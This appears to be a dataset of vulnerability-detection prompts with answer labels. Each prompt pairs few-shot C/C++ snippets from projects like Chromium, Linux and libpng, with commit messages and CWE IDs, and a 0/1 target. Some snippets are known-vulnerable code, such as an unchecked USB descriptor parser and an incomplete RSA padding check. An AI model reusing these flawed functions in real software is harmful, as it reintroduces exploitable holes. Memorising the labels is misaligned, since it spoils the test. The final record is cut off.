prompt
stringlengths
1.19k
236k
output
int64
0
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: main(const int argc, const char * const * const argv) { /* For each file on the command line test it with a range of transforms */ int option_end, ilog = 0; struct display d; validate_T(); display_init(&d); for (option_end=1; option_end<argc; ++option_end) { const char *name = argv[option_end]; if (strcmp(name, "--verbose") == 0) d.options = (d.options & ~LEVEL_MASK) | VERBOSE; else if (strcmp(name, "--warnings") == 0) d.options = (d.options & ~LEVEL_MASK) | WARNINGS; else if (strcmp(name, "--errors") == 0) d.options = (d.options & ~LEVEL_MASK) | ERRORS; else if (strcmp(name, "--quiet") == 0) d.options = (d.options & ~LEVEL_MASK) | QUIET; else if (strcmp(name, "--exhaustive") == 0) d.options |= EXHAUSTIVE; else if (strcmp(name, "--fast") == 0) d.options &= ~EXHAUSTIVE; else if (strcmp(name, "--strict") == 0) d.options |= STRICT; else if (strcmp(name, "--relaxed") == 0) d.options &= ~STRICT; else if (strcmp(name, "--log") == 0) { ilog = option_end; /* prevent display */ d.options |= LOG; } else if (strcmp(name, "--nolog") == 0) d.options &= ~LOG; else if (strcmp(name, "--continue") == 0) d.options |= CONTINUE; else if (strcmp(name, "--stop") == 0) d.options &= ~CONTINUE; else if (strcmp(name, "--skip-bugs") == 0) d.options |= SKIP_BUGS; else if (strcmp(name, "--test-all") == 0) d.options &= ~SKIP_BUGS; else if (strcmp(name, "--log-skipped") == 0) d.options |= LOG_SKIPPED; else if (strcmp(name, "--nolog-skipped") == 0) d.options &= ~LOG_SKIPPED; else if (strcmp(name, "--find-bad-combos") == 0) d.options |= FIND_BAD_COMBOS; else if (strcmp(name, "--nofind-bad-combos") == 0) d.options &= ~FIND_BAD_COMBOS; else if (name[0] == '-' && name[1] == '-') { fprintf(stderr, "pngimage: %s: unknown option\n", name); return 99; } else break; /* Not an option */ } { int i; int errors = 0; for (i=option_end; i<argc; ++i) { { int ret = do_test(&d, argv[i]); if (ret > QUIET) /* abort on user or internal error */ return 99; } /* Here on any return, including failures, except user/internal issues */ { const int pass = (d.options & STRICT) ? RESULT_STRICT(d.results) : RESULT_RELAXED(d.results); if (!pass) ++errors; if (d.options & LOG) { int j; printf("%s: pngimage ", pass ? "PASS" : "FAIL"); for (j=1; j<option_end; ++j) if (j != ilog) printf("%s ", argv[j]); printf("%s\n", d.filename); } } display_clean(&d); } return errors != 0; } } Commit Message: DO NOT MERGE Update libpng to 1.6.20 BUG:23265085 Change-Id: I85199805636d771f3597b691b63bc0bf46084833 (cherry picked from commit bbe98b40cda082024b669fa508931042eed18f82) CWE ID: Target: 1 Example 2: Code: void NuPlayer::GenericSource::stop() { setDrmPlaybackStatusIfNeeded(Playback::STOP, 0); mStarted = false; if (mIsWidevine) { sp<AMessage> msg = new AMessage(kWhatStopWidevine, id()); sp<AMessage> response; (void) msg->postAndAwaitResponse(&response); } } Commit Message: GenericSource: reset mDrmManagerClient when mDataSource is cleared. Bug: 25070434 Change-Id: Iade3472c496ac42456e42db35e402f7b66416f5b (cherry picked from commit b41fd0d4929f0a89811bafcc4fd944b128f00ce2) CWE ID: CWE-119 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: bool Textfield::OnMousePressed(const ui::MouseEvent& event) { const bool had_focus = HasFocus(); bool handled = controller_ && controller_->HandleMouseEvent(this, event); if (!handled && (event.IsOnlyLeftMouseButton() || event.IsOnlyRightMouseButton())) { if (!had_focus) RequestFocus(); ShowImeIfNeeded(); } #if defined(OS_LINUX) && !defined(OS_CHROMEOS) if (!handled && !had_focus && event.IsOnlyMiddleMouseButton()) RequestFocus(); #endif return selection_controller_.OnMousePressed( event, handled, had_focus ? SelectionController::FOCUSED : SelectionController::UNFOCUSED); } Commit Message: MacViews: Enable secure text input for password Textfields. In Cocoa the NSTextInputContext automatically enables secure text input when activated and it's in the secure text entry mode. RenderWidgetHostViewMac did the similar thing for ages following the WebKit example. views::Textfield needs to do the same thing in a fashion that's sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions are possible when the Textfield gets focus, activates the secure text input mode and the RWHVM loses focus immediately afterwards and disables the secure text input instead of leaving it in the enabled state. BUG=818133,677220 Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b Reviewed-on: https://chromium-review.googlesource.com/943064 Commit-Queue: Michail Pishchagin <[email protected]> Reviewed-by: Pavel Feldman <[email protected]> Reviewed-by: Avi Drissman <[email protected]> Reviewed-by: Peter Kasting <[email protected]> Cr-Commit-Position: refs/heads/master@{#542517} CWE ID: Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void DragController::PerformDrag(DragData* drag_data, LocalFrame& local_root) { DCHECK(drag_data); document_under_mouse_ = local_root.DocumentAtPoint(LayoutPoint(drag_data->ClientPosition())); std::unique_ptr<UserGestureIndicator> gesture = Frame::NotifyUserActivation( document_under_mouse_ ? document_under_mouse_->GetFrame() : nullptr, UserGestureToken::kNewGesture); if ((drag_destination_action_ & kDragDestinationActionDHTML) && document_is_handling_drag_) { bool prevented_default = false; if (local_root.View()) { DataTransfer* data_transfer = CreateDraggingDataTransfer(kDataTransferReadable, drag_data); data_transfer->SetSourceOperation( drag_data->DraggingSourceOperationMask()); EventHandler& event_handler = local_root.GetEventHandler(); prevented_default = event_handler.PerformDragAndDrop( CreateMouseEvent(drag_data), data_transfer) != WebInputEventResult::kNotHandled; if (!prevented_default) { const LayoutPoint point = local_root.View()->RootFrameToContents( LayoutPoint(drag_data->ClientPosition())); const HitTestResult result = event_handler.HitTestResultAtPoint(point); prevented_default |= IsHTMLPlugInElement(*result.InnerNode()) && ToHTMLPlugInElement(result.InnerNode())->CanProcessDrag(); } data_transfer->SetAccessPolicy(kDataTransferNumb); } if (prevented_default) { document_under_mouse_ = nullptr; CancelDrag(); return; } } if ((drag_destination_action_ & kDragDestinationActionEdit) && ConcludeEditDrag(drag_data)) { document_under_mouse_ = nullptr; return; } document_under_mouse_ = nullptr; if (OperationForLoad(drag_data, local_root) != kDragOperationNone) { if (page_->GetSettings().GetNavigateOnDragDrop()) { ResourceRequest resource_request(drag_data->AsURL()); resource_request.SetRequestorOrigin( SecurityOrigin::Create(KURL(drag_data->AsURL()))); page_->MainFrame()->Navigate(FrameLoadRequest(nullptr, resource_request)); } local_root.GetEventHandler().ClearDragState(); } } Commit Message: Move user activation check to RemoteFrame::Navigate's callers. Currently RemoteFrame::Navigate is the user of Frame::HasTransientUserActivation that passes a RemoteFrame*, and it seems wrong because the user activation (user gesture) needed by the navigation should belong to the LocalFrame that initiated the navigation. Follow-up CLs after this one will update UserActivation code in Frame to take a LocalFrame* instead of a Frame*, and get rid of redundant IPCs. Bug: 811414 Change-Id: I771c1694043edb54374a44213d16715d9c7da704 Reviewed-on: https://chromium-review.googlesource.com/914736 Commit-Queue: Mustaq Ahmed <[email protected]> Reviewed-by: Daniel Cheng <[email protected]> Cr-Commit-Position: refs/heads/master@{#536728} CWE ID: CWE-190 Target: 1 Example 2: Code: static void init_dequant8_coeff_table(H264Context *h) { int i, j, q, x; const int max_qp = 51 + 6 * (h->sps.bit_depth_luma - 8); for (i = 0; i < 6; i++) { h->dequant8_coeff[i] = h->dequant8_buffer[i]; for (j = 0; j < i; j++) if (!memcmp(h->pps.scaling_matrix8[j], h->pps.scaling_matrix8[i], 64 * sizeof(uint8_t))) { h->dequant8_coeff[i] = h->dequant8_buffer[j]; break; } if (j < i) continue; for (q = 0; q < max_qp + 1; q++) { int shift = div6[q]; int idx = rem6[q]; for (x = 0; x < 64; x++) h->dequant8_coeff[i][q][(x >> 3) | ((x & 7) << 3)] = ((uint32_t)dequant8_coeff_init[idx][dequant8_coeff_init_scan[((x >> 1) & 12) | (x & 3)]] * h->pps.scaling_matrix8[i][x]) << shift; } } } Commit Message: avcodec/h264: do not trust last_pic_droppable when marking pictures as done This simplifies the code and fixes a deadlock Fixes Ticket2927 Signed-off-by: Michael Niedermayer <[email protected]> CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void Browser::DuplicateTab() { UserMetrics::RecordAction(UserMetricsAction("Duplicate")); DuplicateContentsAt(active_index()); } Commit Message: Implement a bubble that appears at the top of the screen when a tab enters fullscreen mode via webkitRequestFullScreen(), telling the user how to exit fullscreen. This is implemented as an NSView rather than an NSWindow because the floating chrome that appears in presentation mode should overlap the bubble. Content-initiated fullscreen mode makes use of 'presentation mode' on the Mac: the mode in which the UI is hidden, accessible by moving the cursor to the top of the screen. On Snow Leopard, this mode is synonymous with fullscreen mode. On Lion, however, fullscreen mode does not imply presentation mode: in non-presentation fullscreen mode, the chrome is permanently shown. It is possible to switch between presentation mode and fullscreen mode using the presentation mode UI control. When a tab initiates fullscreen mode on Lion, we enter presentation mode if not in presentation mode already. When the user exits fullscreen mode using Chrome UI (i.e. keyboard shortcuts, menu items, buttons, switching tabs, etc.) we return the user to the mode they were in before the tab entered fullscreen. BUG=14471 TEST=Enter fullscreen mode using webkitRequestFullScreen. You should see a bubble pop down from the top of the screen. Need to test the Lion logic somehow, with no Lion trybots. BUG=96883 Original review http://codereview.chromium.org/7890056/ TBR=thakis Review URL: http://codereview.chromium.org/7920024 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@101624 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-119 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int usb_parse_configuration(struct usb_device *dev, int cfgidx, struct usb_host_config *config, unsigned char *buffer, int size) { struct device *ddev = &dev->dev; unsigned char *buffer0 = buffer; int cfgno; int nintf, nintf_orig; int i, j, n; struct usb_interface_cache *intfc; unsigned char *buffer2; int size2; struct usb_descriptor_header *header; int len, retval; u8 inums[USB_MAXINTERFACES], nalts[USB_MAXINTERFACES]; unsigned iad_num = 0; memcpy(&config->desc, buffer, USB_DT_CONFIG_SIZE); if (config->desc.bDescriptorType != USB_DT_CONFIG || config->desc.bLength < USB_DT_CONFIG_SIZE || config->desc.bLength > size) { dev_err(ddev, "invalid descriptor for config index %d: " "type = 0x%X, length = %d\n", cfgidx, config->desc.bDescriptorType, config->desc.bLength); return -EINVAL; } cfgno = config->desc.bConfigurationValue; buffer += config->desc.bLength; size -= config->desc.bLength; nintf = nintf_orig = config->desc.bNumInterfaces; if (nintf > USB_MAXINTERFACES) { dev_warn(ddev, "config %d has too many interfaces: %d, " "using maximum allowed: %d\n", cfgno, nintf, USB_MAXINTERFACES); nintf = USB_MAXINTERFACES; } /* Go through the descriptors, checking their length and counting the * number of altsettings for each interface */ n = 0; for ((buffer2 = buffer, size2 = size); size2 > 0; (buffer2 += header->bLength, size2 -= header->bLength)) { if (size2 < sizeof(struct usb_descriptor_header)) { dev_warn(ddev, "config %d descriptor has %d excess " "byte%s, ignoring\n", cfgno, size2, plural(size2)); break; } header = (struct usb_descriptor_header *) buffer2; if ((header->bLength > size2) || (header->bLength < 2)) { dev_warn(ddev, "config %d has an invalid descriptor " "of length %d, skipping remainder of the config\n", cfgno, header->bLength); break; } if (header->bDescriptorType == USB_DT_INTERFACE) { struct usb_interface_descriptor *d; int inum; d = (struct usb_interface_descriptor *) header; if (d->bLength < USB_DT_INTERFACE_SIZE) { dev_warn(ddev, "config %d has an invalid " "interface descriptor of length %d, " "skipping\n", cfgno, d->bLength); continue; } inum = d->bInterfaceNumber; if ((dev->quirks & USB_QUIRK_HONOR_BNUMINTERFACES) && n >= nintf_orig) { dev_warn(ddev, "config %d has more interface " "descriptors, than it declares in " "bNumInterfaces, ignoring interface " "number: %d\n", cfgno, inum); continue; } if (inum >= nintf_orig) dev_warn(ddev, "config %d has an invalid " "interface number: %d but max is %d\n", cfgno, inum, nintf_orig - 1); /* Have we already encountered this interface? * Count its altsettings */ for (i = 0; i < n; ++i) { if (inums[i] == inum) break; } if (i < n) { if (nalts[i] < 255) ++nalts[i]; } else if (n < USB_MAXINTERFACES) { inums[n] = inum; nalts[n] = 1; ++n; } } else if (header->bDescriptorType == USB_DT_INTERFACE_ASSOCIATION) { if (iad_num == USB_MAXIADS) { dev_warn(ddev, "found more Interface " "Association Descriptors " "than allocated for in " "configuration %d\n", cfgno); } else { config->intf_assoc[iad_num] = (struct usb_interface_assoc_descriptor *)header; iad_num++; } } else if (header->bDescriptorType == USB_DT_DEVICE || header->bDescriptorType == USB_DT_CONFIG) dev_warn(ddev, "config %d contains an unexpected " "descriptor of type 0x%X, skipping\n", cfgno, header->bDescriptorType); } /* for ((buffer2 = buffer, size2 = size); ...) */ size = buffer2 - buffer; config->desc.wTotalLength = cpu_to_le16(buffer2 - buffer0); if (n != nintf) dev_warn(ddev, "config %d has %d interface%s, different from " "the descriptor's value: %d\n", cfgno, n, plural(n), nintf_orig); else if (n == 0) dev_warn(ddev, "config %d has no interfaces?\n", cfgno); config->desc.bNumInterfaces = nintf = n; /* Check for missing interface numbers */ for (i = 0; i < nintf; ++i) { for (j = 0; j < nintf; ++j) { if (inums[j] == i) break; } if (j >= nintf) dev_warn(ddev, "config %d has no interface number " "%d\n", cfgno, i); } /* Allocate the usb_interface_caches and altsetting arrays */ for (i = 0; i < nintf; ++i) { j = nalts[i]; if (j > USB_MAXALTSETTING) { dev_warn(ddev, "too many alternate settings for " "config %d interface %d: %d, " "using maximum allowed: %d\n", cfgno, inums[i], j, USB_MAXALTSETTING); nalts[i] = j = USB_MAXALTSETTING; } len = sizeof(*intfc) + sizeof(struct usb_host_interface) * j; config->intf_cache[i] = intfc = kzalloc(len, GFP_KERNEL); if (!intfc) return -ENOMEM; kref_init(&intfc->ref); } /* FIXME: parse the BOS descriptor */ /* Skip over any Class Specific or Vendor Specific descriptors; * find the first interface descriptor */ config->extra = buffer; i = find_next_descriptor(buffer, size, USB_DT_INTERFACE, USB_DT_INTERFACE, &n); config->extralen = i; if (n > 0) dev_dbg(ddev, "skipped %d descriptor%s after %s\n", n, plural(n), "configuration"); buffer += i; size -= i; /* Parse all the interface/altsetting descriptors */ while (size > 0) { retval = usb_parse_interface(ddev, cfgno, config, buffer, size, inums, nalts); if (retval < 0) return retval; buffer += retval; size -= retval; } /* Check for missing altsettings */ for (i = 0; i < nintf; ++i) { intfc = config->intf_cache[i]; for (j = 0; j < intfc->num_altsetting; ++j) { for (n = 0; n < intfc->num_altsetting; ++n) { if (intfc->altsetting[n].desc. bAlternateSetting == j) break; } if (n >= intfc->num_altsetting) dev_warn(ddev, "config %d interface %d has no " "altsetting %d\n", cfgno, inums[i], j); } } return 0; } Commit Message: USB: fix out-of-bounds in usb_set_configuration Andrey Konovalov reported a possible out-of-bounds problem for a USB interface association descriptor. He writes: It seems there's no proper size check of a USB_DT_INTERFACE_ASSOCIATION descriptor. It's only checked that the size is >= 2 in usb_parse_configuration(), so find_iad() might do out-of-bounds access to intf_assoc->bInterfaceCount. And he's right, we don't check for crazy descriptors of this type very well, so resolve this problem. Yet another issue found by syzkaller... Reported-by: Andrey Konovalov <[email protected]> Tested-by: Andrey Konovalov <[email protected]> Cc: stable <[email protected]> Signed-off-by: Greg Kroah-Hartman <[email protected]> CWE ID: CWE-119 Target: 1 Example 2: Code: SplashOutFontFileID(Ref *rA) { r = *rA; } Commit Message: CWE ID: CWE-189 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: PP_Flash_Menu* ReadMenu(int depth, const IPC::Message* m, PickleIterator* iter) { if (depth > kMaxMenuDepth) return NULL; ++depth; PP_Flash_Menu* menu = new PP_Flash_Menu; menu->items = NULL; if (!m->ReadUInt32(iter, &menu->count)) { FreeMenu(menu); return NULL; } if (menu->count == 0) return menu; menu->items = new PP_Flash_MenuItem[menu->count]; memset(menu->items, 0, sizeof(PP_Flash_MenuItem) * menu->count); for (uint32_t i = 0; i < menu->count; ++i) { if (!ReadMenuItem(depth, m, iter, menu->items + i)) { FreeMenu(menu); return NULL; } } return menu; } Commit Message: IPC: defend against excessive number of submenu entries in PPAPI message. BUG=168710 Review URL: https://codereview.chromium.org/11794037 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@175576 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: err_t verify_signed_hash(const struct RSA_public_key *k , u_char *s, unsigned int s_max_octets , u_char **psig , size_t hash_len , const u_char *sig_val, size_t sig_len) { unsigned int padlen; /* actual exponentiation; see PKCS#1 v2.0 5.1 */ { chunk_t temp_s; MP_INT c; n_to_mpz(&c, sig_val, sig_len); oswcrypto.mod_exp(&c, &c, &k->e, &k->n); temp_s = mpz_to_n(&c, sig_len); /* back to octets */ if(s_max_octets < sig_len) { return "2""exponentiation failed; too many octets"; } memcpy(s, temp_s.ptr, sig_len); pfree(temp_s.ptr); mpz_clear(&c); } /* check signature contents */ /* verify padding (not including any DER digest info! */ padlen = sig_len - 3 - hash_len; /* now check padding */ DBG(DBG_CRYPT, DBG_dump("verify_sh decrypted SIG1:", s, sig_len)); DBG(DBG_CRYPT, DBG_log("pad_len calculated: %d hash_len: %d", padlen, (int)hash_len)); /* skip padding */ if(s[0] != 0x00 || s[1] != 0x01 || s[padlen+2] != 0x00) { return "3""SIG padding does not check out"; } s += padlen + 3; (*psig) = s; /* return SUCCESS */ return NULL; } Commit Message: wo#7449 . verify padding contents for IKEv2 RSA sig check Special thanks to Sze Yiu Chau of Purdue University ([email protected]) who reported the issue. CWE ID: CWE-347 Target: 1 Example 2: Code: static int patch_hypercalls(VAPICROMState *s) { hwaddr rom_paddr = s->rom_state_paddr & ROM_BLOCK_MASK; static const uint8_t vmcall_pattern[] = { /* vmcall */ 0xb8, 0x1, 0, 0, 0, 0xf, 0x1, 0xc1 }; static const uint8_t outl_pattern[] = { /* nop; outl %eax,0x7e */ 0xb8, 0x1, 0, 0, 0, 0x90, 0xe7, 0x7e }; uint8_t alternates[2]; const uint8_t *pattern; const uint8_t *patch; int patches = 0; off_t pos; uint8_t *rom; rom = g_malloc(s->rom_size); cpu_physical_memory_read(rom_paddr, rom, s->rom_size); for (pos = 0; pos < s->rom_size - sizeof(vmcall_pattern); pos++) { if (kvm_irqchip_in_kernel()) { pattern = outl_pattern; alternates[0] = outl_pattern[7]; alternates[1] = outl_pattern[7]; patch = &vmcall_pattern[5]; } else { pattern = vmcall_pattern; alternates[0] = vmcall_pattern[7]; alternates[1] = 0xd9; /* AMD's VMMCALL */ patch = &outl_pattern[5]; } if (memcmp(rom + pos, pattern, 7) == 0 && (rom[pos + 7] == alternates[0] || rom[pos + 7] == alternates[1])) { cpu_physical_memory_write(rom_paddr + pos + 5, patch, 3); /* * Don't flush the tb here. Under ordinary conditions, the patched * calls are miles away from the current IP. Under malicious * conditions, the guest could trick us to crash. */ } } g_free(rom); if (patches != 0 && patches != 2) { return -1; } return 0; } Commit Message: CWE ID: CWE-200 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void RenderBlock::addOverflowFromInlineChildren() { LayoutUnit endPadding = hasOverflowClip() ? paddingEnd() : LayoutUnit(); if (hasOverflowClip() && !endPadding && node() && node()->isRootEditableElement() && style()->isLeftToRightDirection()) endPadding = 1; for (RootInlineBox* curr = firstRootBox(); curr; curr = curr->nextRootBox()) { addLayoutOverflow(curr->paddedLayoutOverflowRect(endPadding)); LayoutRect visualOverflow = curr->visualOverflowRect(curr->lineTop(), curr->lineBottom()); addContentsVisualOverflow(visualOverflow); } } Commit Message: Update containtingIsolate to go back all the way to top isolate from current root, rather than stopping at the first isolate it finds. This works because the current root is always updated with each isolate run. BUG=279277 Review URL: https://chromiumcodereview.appspot.com/23972003 git-svn-id: svn://svn.chromium.org/blink/trunk@157268 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-399 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void SocketStream::DoLoop(int result) { if (!context_.get()) next_state_ = STATE_CLOSE; if (next_state_ == STATE_NONE) return; do { State state = next_state_; next_state_ = STATE_NONE; switch (state) { case STATE_BEFORE_CONNECT: DCHECK_EQ(OK, result); result = DoBeforeConnect(); break; case STATE_BEFORE_CONNECT_COMPLETE: result = DoBeforeConnectComplete(result); break; case STATE_RESOLVE_PROXY: DCHECK_EQ(OK, result); result = DoResolveProxy(); break; case STATE_RESOLVE_PROXY_COMPLETE: result = DoResolveProxyComplete(result); break; case STATE_RESOLVE_HOST: DCHECK_EQ(OK, result); result = DoResolveHost(); break; case STATE_RESOLVE_HOST_COMPLETE: result = DoResolveHostComplete(result); break; case STATE_RESOLVE_PROTOCOL: result = DoResolveProtocol(result); break; case STATE_RESOLVE_PROTOCOL_COMPLETE: result = DoResolveProtocolComplete(result); break; case STATE_TCP_CONNECT: result = DoTcpConnect(result); break; case STATE_TCP_CONNECT_COMPLETE: result = DoTcpConnectComplete(result); break; case STATE_GENERATE_PROXY_AUTH_TOKEN: result = DoGenerateProxyAuthToken(); break; case STATE_GENERATE_PROXY_AUTH_TOKEN_COMPLETE: result = DoGenerateProxyAuthTokenComplete(result); break; case STATE_WRITE_TUNNEL_HEADERS: DCHECK_EQ(OK, result); result = DoWriteTunnelHeaders(); break; case STATE_WRITE_TUNNEL_HEADERS_COMPLETE: result = DoWriteTunnelHeadersComplete(result); break; case STATE_READ_TUNNEL_HEADERS: DCHECK_EQ(OK, result); result = DoReadTunnelHeaders(); break; case STATE_READ_TUNNEL_HEADERS_COMPLETE: result = DoReadTunnelHeadersComplete(result); break; case STATE_SOCKS_CONNECT: DCHECK_EQ(OK, result); result = DoSOCKSConnect(); break; case STATE_SOCKS_CONNECT_COMPLETE: result = DoSOCKSConnectComplete(result); break; case STATE_SECURE_PROXY_CONNECT: DCHECK_EQ(OK, result); result = DoSecureProxyConnect(); break; case STATE_SECURE_PROXY_CONNECT_COMPLETE: result = DoSecureProxyConnectComplete(result); break; case STATE_SECURE_PROXY_HANDLE_CERT_ERROR: result = DoSecureProxyHandleCertError(result); break; case STATE_SECURE_PROXY_HANDLE_CERT_ERROR_COMPLETE: result = DoSecureProxyHandleCertErrorComplete(result); break; case STATE_SSL_CONNECT: DCHECK_EQ(OK, result); result = DoSSLConnect(); break; case STATE_SSL_CONNECT_COMPLETE: result = DoSSLConnectComplete(result); break; case STATE_SSL_HANDLE_CERT_ERROR: result = DoSSLHandleCertError(result); break; case STATE_SSL_HANDLE_CERT_ERROR_COMPLETE: result = DoSSLHandleCertErrorComplete(result); break; case STATE_READ_WRITE: result = DoReadWrite(result); break; case STATE_AUTH_REQUIRED: Finish(result); return; case STATE_CLOSE: DCHECK_LE(result, OK); Finish(result); return; default: NOTREACHED() << "bad state " << state; Finish(result); return; } if (state == STATE_RESOLVE_PROTOCOL && result == ERR_PROTOCOL_SWITCHED) continue; if (state != STATE_READ_WRITE && result < ERR_IO_PENDING) { net_log_.EndEventWithNetErrorCode( NetLog::TYPE_SOCKET_STREAM_CONNECT, result); } } while (result != ERR_IO_PENDING); } Commit Message: Revert a workaround commit for a Use-After-Free crash. Revert a workaround commit r20158 for a Use-After-Free issue (http://crbug.com/244746) because a cleaner CL r207218 is landed. URLRequestContext does not inherit SupportsWeakPtr now. R=mmenke BUG=244746 Review URL: https://chromiumcodereview.appspot.com/16870008 git-svn-id: svn://svn.chromium.org/chrome/trunk/src@207811 0039d316-1c4b-4281-b951-d872f2087c98 CWE ID: CWE-399 Target: 1 Example 2: Code: static void init_channel_info(struct iw_context *ctx) { int i; ctx->img1_imgtype_logical = ctx->img1.imgtype; if(ctx->resize_settings[IW_DIMENSION_H].edge_policy==IW_EDGE_POLICY_TRANSPARENT || ctx->resize_settings[IW_DIMENSION_V].edge_policy==IW_EDGE_POLICY_TRANSPARENT) { if(ctx->img1.imgtype==IW_IMGTYPE_GRAY) { ctx->img1_imgtype_logical = IW_IMGTYPE_GRAYA; } else if(ctx->img1.imgtype==IW_IMGTYPE_RGB) ctx->img1_imgtype_logical = IW_IMGTYPE_RGBA; } ctx->img1_numchannels_physical = iw_imgtype_num_channels(ctx->img1.imgtype); ctx->img1_numchannels_logical = iw_imgtype_num_channels(ctx->img1_imgtype_logical); ctx->img1_alpha_channel_index = iw_imgtype_alpha_channel_index(ctx->img1_imgtype_logical); iw_set_input_channeltypes(ctx); ctx->img2.imgtype = ctx->img1_imgtype_logical; // default ctx->img2_numchannels = ctx->img1_numchannels_logical; // default ctx->intermed_numchannels = ctx->img1_numchannels_logical; // default for(i=0;i<ctx->img1_numchannels_logical;i++) { ctx->intermed_ci[i].channeltype = ctx->img1_ci[i].channeltype; ctx->intermed_ci[i].corresponding_input_channel = i; ctx->img2_ci[i].channeltype = ctx->img1_ci[i].channeltype; if(i>=ctx->img1_numchannels_physical) { ctx->img1_ci[i].disable_fast_get_sample = 1; } } } Commit Message: Fixed a bug that could cause invalid memory to be accessed The bug could happen when transparency is removed from an image. Also fixed a semi-related BMP error handling logic bug. Fixes issue #21 CWE ID: CWE-787 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: kex_input_newkeys(int type, u_int32_t seq, void *ctxt) { struct ssh *ssh = ctxt; struct kex *kex = ssh->kex; int r; debug("SSH2_MSG_NEWKEYS received"); ssh_dispatch_set(ssh, SSH2_MSG_NEWKEYS, &kex_protocol_error); if ((r = sshpkt_get_end(ssh)) != 0) return r; kex->done = 1; sshbuf_reset(kex->peer); /* sshbuf_reset(kex->my); */ kex->name = NULL; return 0; } Commit Message: CWE ID: CWE-476 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void bdt_enable(void) { bdt_log("ENABLE BT"); if (bt_enabled) { bdt_log("Bluetooth is already enabled"); return; } status = sBtInterface->enable(); check_return_status(status); } Commit Message: Add guest mode functionality (2/3) Add a flag to enable() to start Bluetooth in restricted mode. In restricted mode, all devices that are paired during restricted mode are deleted upon leaving restricted mode. Right now restricted mode is only entered while a guest user is active. Bug: 27410683 Change-Id: I8f23d28ef0aa3a8df13d469c73005c8e1b894d19 CWE ID: CWE-20 Target: 1 Example 2: Code: static vpx_codec_err_t decode_one(vpx_codec_alg_priv_t *ctx, const uint8_t **data, unsigned int data_sz, void *user_priv, int64_t deadline) { const VPxWorkerInterface *const winterface = vpx_get_worker_interface(); (void)deadline; if (!ctx->si.h) { int is_intra_only = 0; const vpx_codec_err_t res = decoder_peek_si_internal(*data, data_sz, &ctx->si, &is_intra_only, ctx->decrypt_cb, ctx->decrypt_state); if (res != VPX_CODEC_OK) return res; if (!ctx->si.is_kf && !is_intra_only) return VPX_CODEC_ERROR; } if (!ctx->frame_parallel_decode) { VPxWorker *const worker = ctx->frame_workers; FrameWorkerData *const frame_worker_data = (FrameWorkerData *)worker->data1; frame_worker_data->data = *data; frame_worker_data->data_size = data_sz; frame_worker_data->user_priv = user_priv; frame_worker_data->received_frame = 1; frame_worker_data->pbi->decrypt_cb = ctx->decrypt_cb; frame_worker_data->pbi->decrypt_state = ctx->decrypt_state; worker->had_error = 0; winterface->execute(worker); *data = frame_worker_data->data_end; if (worker->had_error) return update_error_state(ctx, &frame_worker_data->pbi->common.error); check_resync(ctx, frame_worker_data->pbi); } else { VPxWorker *const worker = &ctx->frame_workers[ctx->next_submit_worker_id]; FrameWorkerData *const frame_worker_data = (FrameWorkerData *)worker->data1; if (ctx->next_submit_worker_id != ctx->last_submit_worker_id) vp9_frameworker_copy_context( &ctx->frame_workers[ctx->next_submit_worker_id], &ctx->frame_workers[ctx->last_submit_worker_id]); frame_worker_data->pbi->ready_for_new_data = 0; if (frame_worker_data->scratch_buffer_size < data_sz) { frame_worker_data->scratch_buffer = (uint8_t *)vpx_realloc(frame_worker_data->scratch_buffer, data_sz); if (frame_worker_data->scratch_buffer == NULL) { set_error_detail(ctx, "Failed to reallocate scratch buffer"); return VPX_CODEC_MEM_ERROR; } frame_worker_data->scratch_buffer_size = data_sz; } frame_worker_data->data_size = data_sz; memcpy(frame_worker_data->scratch_buffer, *data, data_sz); frame_worker_data->frame_decoded = 0; frame_worker_data->frame_context_ready = 0; frame_worker_data->received_frame = 1; frame_worker_data->data = frame_worker_data->scratch_buffer; frame_worker_data->user_priv = user_priv; if (ctx->next_submit_worker_id != ctx->last_submit_worker_id) ctx->last_submit_worker_id = (ctx->last_submit_worker_id + 1) % ctx->num_frame_workers; ctx->next_submit_worker_id = (ctx->next_submit_worker_id + 1) % ctx->num_frame_workers; --ctx->available_threads; worker->had_error = 0; winterface->launch(worker); } return VPX_CODEC_OK; } Commit Message: DO NOT MERGE | libvpx: cherry-pick aa1c813 from upstream Description from upstream: vp9: Fix potential SEGV in decoder_peek_si_internal decoder_peek_si_internal could potentially read more bytes than what actually exists in the input buffer. We check for the buffer size to be at least 8, but we try to read up to 10 bytes in the worst case. A well crafted file could thus cause a segfault. Likely change that introduced this bug was: 